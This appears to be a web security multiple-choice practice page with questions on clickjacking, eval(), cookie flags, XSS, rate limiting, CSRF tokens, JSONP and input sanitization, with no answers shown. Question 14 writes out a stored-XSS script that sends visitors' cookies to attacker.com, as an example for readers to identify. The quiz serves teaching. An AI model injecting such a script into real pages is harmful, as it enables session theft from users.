19 Questions Total

Web Security MCQs

Topic-wise practice questions for Web Development. Test your knowledge, check solutions on demand, and pace your preparation.

Zero-leak answer engine • Rate-limited explanations

Q11easy

What is Clickjacking?

Q12easy

What is the main security risk of the eval() function in JavaScript?

Q13easy

Why should you set the Secure flag on session cookies?

Q14medium

A forum website allows users to post comments. An attacker posts


<script>fetch('https://attacker.com/steal?

cookie='+document.cookie)</script>. When other users view this comment, their browser executes the script. Which attack is this?

Q15medium

In the context of a web API, what is a Rate Limiting strategy? middleware.js


if (requestCount > 100) {
return res.status(429).send('Too Many Requests');

Q16easy

You are validating user input in a text field. Which is the safest approach?

Q17easy

What is a CSRF Token?

Q18easy

Why is JSONP considered a deprecated/insecure way to handle cross-domain data?

Q19easy

What does "Input Sanitization" actually mean?